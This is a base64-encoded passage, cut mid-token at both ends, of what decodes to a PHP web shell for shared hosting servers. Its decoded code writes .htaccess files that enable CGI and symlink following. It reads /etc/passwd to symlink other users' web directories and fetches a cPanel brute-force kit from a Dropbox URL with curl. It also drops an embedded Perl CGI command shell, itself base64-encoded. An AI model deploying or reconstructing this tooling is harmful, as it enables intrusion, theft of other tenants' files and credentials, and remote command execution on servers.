bS50YXIuZ3ogLW8gc3ltLnRhci5neicpOwpAZXhlYygndGFyIC14dmYgc3ltLnRhci5neicpOwoKZWNobyAiPGlmcmFtZSBzcmM9QnlQYXNzU3ltL3N5bSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CgokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0KQWRkVHlwZSB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAucGhwJzsKJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpOwppZiAoJGZ3MykgewoKfQplbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSAuaHRhY2Nlc3MgRmlsZSAhPC9mb250PjxCUj4iOwp9CkBmY2xvc2UoJGZwMyk7CiRsaW5lczM9QGZpbGUoJy9ldGMvcGFzc3dkJyk7CmlmICghJGxpbmVzMykgewokYXV0aHAgPSBAcG9wZW4oIi9iaW4vY2F0IC9ldGMvcGFzc3dkIiwgInIiKTsKJGkgPSAwOwp3aGlsZSAoIWZlb2YoJGF1dGhwKSkKJGFyZXN1bHRbJGkrK10gPSBmZ2V0cygkYXV0aHAsIDQwOTYpOwokbGluZXMzID0gJGFyZXN1bHQ7CkBwY2xvc2UoJGF1dGhwKTsKfQppZiAoISRsaW5lczMpIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBDYW4ndCBSZWFkIC9ldGMvcGFzc3dkIEZpbGUgLjwvZm9udD48QlI+IjsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBDYW4ndCBNYWtlIFRoZSBVc2VycyBTaG9ydGN1dHMgLjwvZm9udD48QlI+IjsKZWNobyAnPGZvbnQgY29sb3I9cmVkPlsrXSBGaW5pc2ggITwvZm9udD48QlI+JzsKfQplbHNlIHsKZm9yZWFjaCgkbGluZXMzIGFzICRsaW5lX251bTM9PiRsaW5lMyl7CiRzcHJ0Mz1leHBsb2RlKCI6IiwkbGluZTMpOwokdXNlcjM9JHNwcnQzWzBdOwpAZXhlYygnLi9sbiAtcyAvaG9tZS8nLiR1c2VyMy4nL3B1YmxpY19odG1sICcgLiAkdXNlcjMpOwp9Cn0KfQppZiAoaXNzZXQoJF9QT1NUWydTdWJtaXQ5J10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICJDcmVhdCAuaHRhY2Nlc3MgJyBWaWV3IGxpc3QgZmlsZSAnID4+IG9rIjsKJGZpbGUzID0gJ09wdGlvbnMgYWxsIAogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnknOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KfQppZiAoaXNzZXQoJF9QT1NUWydTdWJtaXQ4J10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICJDcmVhdCAuaHRhY2Nlc3MgJyBWaWV3IFdlYlNpdGUgJyA+PiBvayI7CiRmaWxlMyA9ICcnOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDYnXSkpCnsKICAgIG1rZGlyKCdicnV0ZWNwYW5lbCcsIDA3NTUpOwogICAgY2hkaXIoJ2JydXRlY3BhbmVsJyk7CgpAZXhlYygnY3VybCBodHRwczovL2RsLmRyb3Bib3h1c2VyY29udGVudC5jb20vdS83NDQyNTM5MS9icnV0ZS50YXIuZ3ogLW8gYnJ1dGUudGFyLmd6Jyk7CkBleGVjKCd0YXIgLXh2ZiBicnV0ZS50YXIuZ3onKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YnJ1dGVjcGFuZWwvYnJ1dGUucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQoKaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0NyddKSkgewpAbWtkaXIoImFsbGNvbmZpZyIpOwpAY2hkaXIoImFsbGNvbmZpZyIpOwplY2hvICJDcmVhdCAuaHRhY2Nlc3MgJyBhbGwgY29uZmlnICcgPj4gb2siOwokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0KQWRkVHlwZSB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAucGhwJzsKJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpOwppZiAoJGZ3MykgewoKfQplbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSAuaHRhY2Nlc3MgRmlsZSAhPC9mb250PjxCUj4iOwp9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEyJ10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICI8aWZyYW1lIHNyYz1zeW1saW5rdXNlci8gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwokZmlsZTMgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4nOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAzKTsKJGZpbGVTID0gYmFzZTY0X2RlY29kZSgiSXlFdmRYTnlMMkpwYmk5d1pYSnNDbTl3Wlc0Z1NVNVFWVlFzSUNJOEwyVjBZeTl3WVhOemQyUWlPd3AzYUdsc1pTQW9JRHhKVGxCVgpWRDRnS1FwN0NpUnNhVzVsUFNSZk95QkFjM0J5ZEQxemNHeHBkQ2d2T2k4c0pHeHBibVVwT3lBa2RYTmxjajBrYzNCeWRGc3dYVHNLCmMzbHpkR1Z0S0Nkc2JpQXRjeUF2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3dnSnlBdUlDUjFjMlZ5S1RzS2ZRPT0KIik7CiRmcFMgPSBAZm9wZW4oIlBMLVN5bWxpbmsuY2luIiwndysnKTsKJGZ3UyA9IEBmd3JpdGUoJGZwUywkZmlsZVMpOwppZiAoJGZ3UykgewokVEVTVD1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYgKCEkVEVTVCkgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IFJlYWQgL2V0Yy9wYXNzd2QgRmlsZSAuPC9mb250PjxCUj4iOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IENyZWF0ZSBVc2VycyBTaG9ydGN1dHMgLjwvZm9udD48QlI+IjsKZWNobyAnPGZvbnQgY29sb3I9cmVkPlsrXSBGaW5pc2ggITwvZm9udD48QlI+JzsKfQplbHNlIHsKY2htb2QoIlBMLVN5bWxpbmsuY2luIiwwNzU1KTsKZWNobyBAc2hlbGxfZXhlYygicGVybCBQTC1TeW1saW5rLmNpbiIpOwp9CkBmY2xvc2UoJGZwUyk7Cn0KZWxzZSB7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gTm8gUGVybSBUbyBDcmVhdGUgUGVybCBGaWxlICE8L2ZvbnQ+IjsKfQp9CmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEzJ10pKQp7CkBta2RpcigiY2dpc2hlbGwiKTsKQGNoZGlyKCJjZ2lzaGVsbCIpOwogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKICAgICAgICAkZG9zeWEgPSBmb3BlbiAoJGRvc3lhX2FkaSAsICd3Jykgb3IgZGllICgiRG9zeWEgYcOnxLFsYW1hZMSxISIpOwogICAgICAgICRtZXRpbiA9ICJPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJCgpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4KCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luIjsgICAgCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsKJGNnaXNoZWxsaXpvY2luID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldGcGJnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFEwS0l5QThZaUJ6ZEhsc1pUMGlZMjlzYjNJNllteGhZMnM3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qWm1abVpqWTJJajV3CmNtbDJPQ0JqWjJrZ2MyaGxiR3c4TDJJK0lDTWdjMlZ5ZG1WeURRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHREUW9OQ2lNdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTME5DaU1nUTI5dVptbG5kWEpoZEdsdmJqb2dXVzkxSUc1bFpXUWdkRzhnWTJoaGJtZGwKSUc5dWJIa2dKRkJoYzNOM2IzSmtJR0Z1WkNBa1YybHVUbFF1SUZSb1pTQnZkR2hsY2cwS0l5QjJZV3gxWlhNZ2MyaHZkV3hrSUhkdgpjbXNnWm1sdVpTQm1iM0lnYlc5emRDQnplWE4wWlcxekxnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUTBLSkZCaGMzTjMKYjNKa0lEMGdJbkJ5YVhZNElqc0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocApjdzBLQ1FrSkNTTWdkRzhnYkc5bmFXNHVEUW9OQ2lSWGFXNU9WQ0E5SURBN0NRa0pJeUJaYjNVZ2JtVmxaQ0IwYnlCamFHRnVaMlVnCmRHaGxJSFpoYkhWbElHOW1JSFJvYVhNZ2RHOGdNU0JwWmcwS0NRa0pDU01nZVc5MUozSmxJSEoxYm01cGJtY2dkR2hwY3lCelkzSnAKY0hRZ2IyNGdZU0JYYVc1a2IzZHpJRTVVRFFvSkNRa0pJeUJ0WVdOb2FXNWxMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUJwZENCdgpiaUJWYm1sNExDQjViM1VOQ2drSkNRa2pJR05oYmlCc1pXRjJaU0IwYUdVZ2RtRnNkV1VnWVhNZ2FYUWdhWE11RFFvTkNpUk9WRU50ClpGTmxjQ0E5SUNJbUlqc0pDU01nVkdocGN5QmphR0Z5WVdOMFpYSWdhWE1nZFhObFpDQjBieUJ6WlhCbGNtRjBaU0F5SUdOdmJXMWgKYm1SekRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlhhVzVrYjNkeklFNVVMZzBLRFFva1ZXNXBlRU50WkZObApjQ0E5SUNJN0lqc0pDU01nVkdocGN5QmphR0Z5WVdOMFpYSWdhWE1nZFhObFpDQjBieUJ6WlhCbGNtRjBaU0F5SUdOdmJXMWhibVJ6CkRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlZibWw0TGcwS0RRb2tRMjl0YldGdVpGUnBiV1Z2ZFhSRWRYSmgKZEdsdmJpQTlJREV3T3draklGUnBiV1VnYVc0Z2MyVmpiMjVrY3lCaFpuUmxjaUJqYjIxdFlXNWtjeUIzYVd4c0lHSmxJR3RwYkd4bApaQTBLQ1FrSkNTTWdSRzl1SjNRZ2MyVjBJSFJvYVhNZ2RHOGdZU0IyWlhKNUlHeGhjbWRsSUhaaGJIVmxMaUJVYUdseklHbHpEUW9KCkNRa0pJeUIxYzJWbWRXd2dabTl5SUdOdmJXMWhibVJ6SUhSb1lYUWdiV0Y1SUdoaGJtY2diM0lnZEdoaGRBMEtDUWtKQ1NNZ2RHRnIKWlNCMlpYSjVJR3h2Ym1jZ2RHOGdaWGhsWTNWMFpTd2diR2xyWlNBaVptbHVaQ0F2SWk0TkNna0pDUWtqSUZSb2FYTWdhWE1nZG1GcwphV1FnYjI1c2VTQnZiaUJWYm1sNElITmxjblpsY25NdUlFbDBJR2x6RFFvSkNRa0pJeUJwWjI1dmNtVmtJRzl1SUU1VUlGTmxjblpsCmNuTXVEUW9OQ2lSVGFHOTNSSGx1WVcxcFkwOTFkSEIxZENBOUlERTdDUWtqSUVsbUlIUm9hWE1nYVhNZ01Td2dkR2hsYmlCa1lYUmgKSUdseklITmxiblFnZEc4Z2RHaGxEUW9KQ1FrSkl5QmljbTkzYzJWeUlHRnpJSE52YjI0Z1lYTWdhWFFnYVhNZ2IzVjBjSFYwTENCdgpkR2hsY25kcGMyVU5DZ2tKQ1FraklHbDBJR2x6SUdKMVptWmxjbVZrSUdGdVpDQnpaVzVrSUhkb1pXNGdkR2hsSUdOdmJXMWhibVFOCkNna0pDUWtqSUdOdmJYQnNaWFJsY3k0Z1ZHaHBjeUJwY3lCMWMyVm1kV3dnWm05eUlHTnZiVzFoYm1SeklHeHBhMlVOQ2drSkNRa2oKSUhCcGJtY3NJSE52SUhSb1lYUWdlVzkxSUdOaGJpQnpaV1VnZEdobElHOTFkSEIxZENCaGN5QnBkQTBLQ1FrSkNTTWdhWE1nWW1WcApibWNnWjJWdVpYSmhkR1ZrTGcwS0RRb2pJRVJQVGlkVUlFTklRVTVIUlNCQlRsbFVTRWxPUnlCQ1JVeFBWeUJVU0VsVElFeEpUa1VnClZVNU1SVk5USUZsUFZTQkxUazlYSUZkSVFWUWdXVTlWSjFKRklFUlBTVTVISUNFaERRb05DaVJEYldSVFpYQWdQU0FvSkZkcGJrNVUKSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3cwS0pFTnRaRkIzWkNBOUlDZ2tWMmx1VGxRZ1B5QWlZMlFpSURvZwpJbkIzWkNJcE93MEtKRkJoZEdoVFpYQWdQU0FvSkZkcGJrNVVJRDhnSWx4Y0lpQTZJQ0l2SWlrN0RRb2tVbVZrYVhKbFkzUnZjaUE5CklDZ2tWMmx1VGxRZ1B5QWlJREkrSmpFZ01UNG1NaUlnT2lBaUlERStKakVnTWo0bU1TSXBPdzBLRFFvakxTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHREUW9qSUZKbFlXUnpJSFJvWlNCcGJuQjFkQ0J6Wlc1MElHSjVJSFJvWlNCaWNtOTNjMlZ5SUdGdVpDQndZWEp6ClpYTWdkR2hsSUdsdWNIVjBJSFpoY21saFlteGxjeTRnU1hRTkNpTWdjR0Z5YzJWeklFZEZWQ3dnVUU5VFZDQmhibVFnYlhWc2RHbHcKWVhKMEwyWnZjbTB0WkdGMFlTQjBhR0YwSUdseklIVnpaV1FnWm05eUlIVndiRzloWkdsdVp5Qm1hV3hsY3k0TkNpTWdWR2hsSUdacApiR1Z1WVcxbElHbHpJSE4wYjNKbFpDQnBiaUFrYVc1N0oyWW5mU0JoYm1RZ2RHaGxJR1JoZEdFZ2FYTWdjM1J2Y21Wa0lHbHVJQ1JwCmJuc25abWxzWldSaGRHRW5mUzROQ2lNZ1QzUm9aWElnZG1GeWFXRmliR1Z6SUdOaGJpQmlaU0JoWTJObGMzTmxaQ0IxYzJsdVp5QWsKYVc1N0ozWmhjaWQ5TENCM2FHVnlaU0IyWVhJZ2FYTWdkR2hsSUc1aGJXVWdiMllOQ2lNZ2RHaGxJSFpoY21saFlteGxMaUJPYjNSbApPaUJOYjNOMElHOW1JSFJvWlNCamIyUmxJR2x1SUhSb2FYTWdablZ1WTNScGIyNGdhWE1nZEdGclpXNGdabkp2YlNCdmRHaGxjaUJEClIwa05DaU1nYzJOeWFYQjBjeTROQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNuTjFZaUJTWldGa1VHRnljMlVnRFFwNwpEUW9KYkc5allXd2dLQ3BwYmlrZ1BTQkFYeUJwWmlCQVh6c05DZ2xzYjJOaGJDQW9KR2tzSUNSc2IyTXNJQ1JyWlhrc0lDUjJZV3dwCk93MEtDUTBLQ1NSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBOUlDUkZUbFo3SjBOUFRsUkZUbFJmVkZsUVJTZDlJRDErSUM5dGRXeDAKYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZPdzBLRFFvSmFXWW9KRVZPVm5zblVrVlJWVVZUVkY5TgpSVlJJVDBRbmZTQmxjU0FpUjBWVUlpa05DZ2w3RFFvSkNTUnBiaUE5SUNSRlRsWjdKMUZWUlZKWlgxTlVVa2xPUnlkOU93MEtDWDBOCkNnbGxiSE5wWmlna1JVNVdleWRTUlZGVlJWTlVYMDFGVkVoUFJDZDlJR1Z4SUNKUVQxTlVJaWtOQ2dsN0RRb0pDV0pwYm0xdlpHVW8KVTFSRVNVNHBJR2xtSUNSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBbUlDUlhhVzVPVkRzTkNna0pjbVZoWkNoVFZFUkpUaXdnSkdsdQpMQ0FrUlU1V2V5ZERUMDVVUlU1VVgweEZUa2RVU0NkOUtUc05DZ2w5RFFvTkNna2pJR2hoYm1Sc1pTQm1hV3hsSUhWd2JHOWhaQ0JrCllYUmhEUW9KYVdZb0pFVk9WbnNuUTA5T1ZFVk9WRjlVV1ZCRkozMGdQWDRnTDIxMWJIUnBjR0Z5ZEZ3dlptOXliUzFrWVhSaE95QmkKYjNWdVpHRnllVDBvTGlzcEpDOHBEUW9KZXcwS0NRa2tRbTkxYm1SaGNua2dQU0FuTFMwbkxpUXhPeUFqSUhCc1pXRnpaU0J5WldabApjaUIwYnlCU1JrTXhPRFkzSUEwS0NRbEFiR2x6ZENBOUlITndiR2wwS0M4a1FtOTFibVJoY25rdkxDQWthVzRwT3lBTkNna0pKRWhsCllXUmxja0p2WkhrZ1BTQWtiR2x6ZEZzeFhUc05DZ2tKSkVobFlXUmxja0p2WkhrZ1BYNGdMMXh5WEc1Y2NseHVmRnh1WEc0dk93MEsKQ1Fra1NHVmhaR1Z5SUQwZ0pHQTdEUW9KQ1NSQ2IyUjVJRDBnSkNjN0RRb2dDUWtrUW05a2VTQTlmaUJ6TDF4eVhHNGtMeTg3SUNNZwpkR2hsSUd4aGMzUWdYSEpjYmlCM1lYTWdjSFYwSUdsdUlHSjVJRTVsZEhOallYQmxEUW9KQ1NScGJuc25abWxzWldSaGRHRW5mU0E5CklDUkNiMlI1T3cwS0NRa2tTR1ZoWkdWeUlEMStJQzltYVd4bGJtRnRaVDFjSWlndUt5bGNJaTg3SUEwS0NRa2thVzU3SjJZbmZTQTkKSUNReE95QU5DZ2tKSkdsdWV5ZG1KMzBnUFg0Z2N5OWNJaTh2WnpzTkNna0pKR2x1ZXlkbUozMGdQWDRnY3k5Y2N5OHZaenNOQ2cwSwpDUWtqSUhCaGNuTmxJSFJ5WVdsc1pYSU5DZ2tKWm05eUtDUnBQVEk3SUNSc2FYTjBXeVJwWFRzZ0pHa3JLeWtOQ2drSmV5QU5DZ2tKCkNTUnNhWE4wV3lScFhTQTlmaUJ6TDE0dUsyNWhiV1U5SkM4dk93MEtDUWtKSkd4cGMzUmJKR2xkSUQxK0lDOWNJaWhjZHlzcFhDSXYKT3cwS0NRa0pKR3RsZVNBOUlDUXhPdzBLQ1FrSkpIWmhiQ0E5SUNRbk93MEtDUWtKSkhaaGJDQTlmaUJ6THloZUtGeHlYRzVjY2x4dQpmRnh1WEc0cEtYd29YSEpjYmlSOFhHNGtLUzh2WnpzTkNna0pDU1IyWVd3Z1BYNGdjeThsS0M0dUtTOXdZV05yS0NKaklpd2dhR1Y0CktDUXhLU2t2WjJVN0RRb0pDUWtrYVc1N0pHdGxlWDBnUFNBa2RtRnNPeUFOQ2drSmZRMEtDWDBOQ2dsbGJITmxJQ01nYzNSaGJtUmgKY21RZ2NHOXpkQ0JrWVhSaElDaDFjbXdnWlc1amIyUmxaQ3dnYm05MElHMTFiSFJwY0dGeWRDa05DZ2w3RFFvSkNVQnBiaUE5SUhOdwpiR2wwS0M4bUx5d2dKR2x1S1RzTkNna0pabTl5WldGamFDQWthU0FvTUNBdUxpQWtJMmx1S1EwS0NRbDdEUW9KQ1Fra2FXNWJKR2xkCklEMStJSE12WENzdklDOW5PdzBLQ1FrSktDUnJaWGtzSUNSMllXd3BJRDBnYzNCc2FYUW9MejB2TENBa2FXNWJKR2xkTENBeUtUc04KQ2drSkNTUnJaWGtnUFg0Z2N5OGxLQzR1S1M5d1lXTnJLQ0pqSWl3Z2FHVjRLQ1F4S1NrdloyVTdEUW9KQ1Fra2RtRnNJRDErSUhNdgpKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPdzBLQ1FrSkpHbHVleVJyWlhsOUlDNDlJQ0pjTUNJZ2FXWWdLR1JsClptbHVaV1FvSkdsdWV5UnJaWGw5S1NrN0RRb0pDUWtrYVc1N0pHdGxlWDBnTGowZ0pIWmhiRHNOQ2drSmZRMEtDWDBOQ24wTkNnMEsKSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS0l5QlFjbWx1ZEhNZ2RHaGxJRWhVVFV3Z1VHRm5aU0JJWldGa1pYSU5DaU1nClFYSm5kVzFsYm5RZ01Ub2dSbTl5YlNCcGRHVnRJRzVoYldVZ2RHOGdkMmhwWTJnZ1ptOWpkWE1nYzJodmRXeGtJR0psSUhObGRBMEsKSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS2MzVmlJRkJ5YVc1MFVHRm5aVWhsWVdSbGNnMEtldzBLQ1NSRmJtTnZaR1ZrClEzVnljbVZ1ZEVScGNpQTlJQ1JEZFhKeVpXNTBSR2x5T3cwS0NTUkZibU52WkdWa1EzVnljbVZ1ZEVScGNpQTlmaUJ6THloYlhtRXQKZWtFdFdqQXRPVjBwTHljbEp5NTFibkJoWTJzb0lrZ3FJaXdrTVNrdlpXYzdEUW9KY0hKcGJuUWdJa052Ym5SbGJuUXRkSGx3WlRvZwpkR1Y0ZEM5b2RHMXNYRzVjYmlJN0RRb0pjSEpwYm5RZ1BEeEZUa1E3RFFvOGFIUnRiRDROQ2p4b1pXRmtQZzBLUEhScGRHeGxQbkJ5CmFYWTRJR05uYVNCemFHVnNiRHd2ZEdsMGJHVStEUW9rU0hSdGJFMWxkR0ZJWldGa1pYSU5DZzBLUEcxbGRHRWdibUZ0WlQwaWEyVjUKZDI5eVpITWlJR052Ym5SbGJuUTlJbkJ5YVhZNElHTm5hU0J6YUdWc2JDQWdYeUFnSUNBZ2FUVmZRR2h2ZEcxaGFXd3VZMjl0SWo0TgpDanh0WlhSaElHNWhiV1U5SW1SbGMyTnlhWEIwYVc5dUlpQmpiMjUwWlc1MFBTSndjbWwyT0NCaloya2djMmhsYkd3Z0lGOGdJQ0FnCmFUVmZRR2h2ZEcxaGFXd3VZMjl0SWo0TkNqd3ZhR1ZoWkQ0TkNqeGliMlI1SUc5dVRHOWhaRDBpWkc5amRXMWxiblF1Wmk1QVh5NW0KYjJOMWN5Z3BJaUJpWjJOdmJHOXlQU0lqUmtaR1JrWkdJaUIwYjNCdFlYSm5hVzQ5SWpBaUlHeGxablJ0WVhKbmFXNDlJakFpSUcxaApjbWRwYm5kcFpIUm9QU0l3SWlCdFlYSm5hVzVvWldsbmFIUTlJakFpSUhSbGVIUTlJaU5HUmpBd01EQWlQZzBLUEhSaFlteGxJR0p2CmNtUmxjajBpTVNJZ2QybGtkR2c5SWpFd01DVWlJR05sYkd4emNHRmphVzVuUFNJd0lpQmpaV3hzY0dGa1pHbHVaejBpTWlJK0RRbzgKZEhJK0RRbzhkR1FnWW1kamIyeHZjajBpSTBaR1JrWkdSaUlnWW05eVpHVnlZMjlzYjNJOUlpTkdSa1pHUmtZaUlHRnNhV2R1UFNKagpaVzUwWlhJaUlIZHBaSFJvUFNJeEpTSStEUW84WWo0OFptOXVkQ0J6YVhwbFBTSXlJajRqUEM5bWIyNTBQand2WWo0OEwzUmtQZzBLClBIUmtJR0puWTI5c2IzSTlJaU5HUmtaR1JrWWlJSGRwWkhSb1BTSTVPQ1VpUGp4bWIyNTBJR1poWTJVOUlsWmxjbVJoYm1FaUlITnAKZW1VOUlqSWlQanhpUGlBTkNqeGlJSE4wZVd4bFBTSmpiMnh2Y2pwaWJHRmphenRpWVdOclozSnZkVzVrTFdOdmJHOXlPaU5tWm1abQpOallpUG5CeWFYWTRJR05uYVNCemFHVnNiRHd2WWo0Z1EyOXVibVZqZEdWa0lIUnZJQ1JUWlhKMlpYSk9ZVzFsUEM5aVBqd3ZabTl1CmRENDhMM1JrUGcwS1BDOTBjajROQ2p4MGNqNE5DangwWkNCamIyeHpjR0Z1UFNJeUlpQmlaMk52Ykc5eVBTSWpSa1pHUmtaR0lqNDgKWm05dWRDQm1ZV05sUFNKV1pYSmtZVzVoSWlCemFYcGxQU0l5SWo0TkNnMEtQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dQpQMkU5ZFhCc2IyRmtKbVE5SkVWdVkyOWtaV1JEZFhKeVpXNTBSR2x5SWo0OFptOXVkQ0JqYjJ4dmNqMGlJMFpHTURBd01DSStWWEJzCmIyRmtJRVpwYkdVOEwyWnZiblErUEM5aFBpQjhJQTBLUEdFZ2FISmxaajBpSkZOamNtbHdkRXh2WTJGMGFXOXVQMkU5Wkc5M2JteHYKWVdRbVpEMGtSVzVqYjJSbFpFTjFjbkpsYm5SRWFYSWlQanhtYjI1MElHTnZiRzl5UFNJalJrWXdNREF3SWo1RWIzZHViRzloWkNCRwphV3hsUEM5bWIyNTBQand2WVQ0Z2ZBMEtQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dVAyRTliRzluYjNWMElqNDhabTl1CmRDQmpiMnh2Y2owaUkwWkdNREF3TUNJK1JHbHpZMjl1Ym1WamREd3ZabTl1ZEQ0OEwyRStJSHdOQ2p3dlptOXVkRDQ4TDNSa1BnMEsKUEM5MGNqNE5Dand2ZEdGaWJHVStEUW84Wm05dWRDQnphWHBsUFNJeklqNE5Da1ZPUkEwS2ZRMEtEUW9qTFMwdExTMHRMUzB0T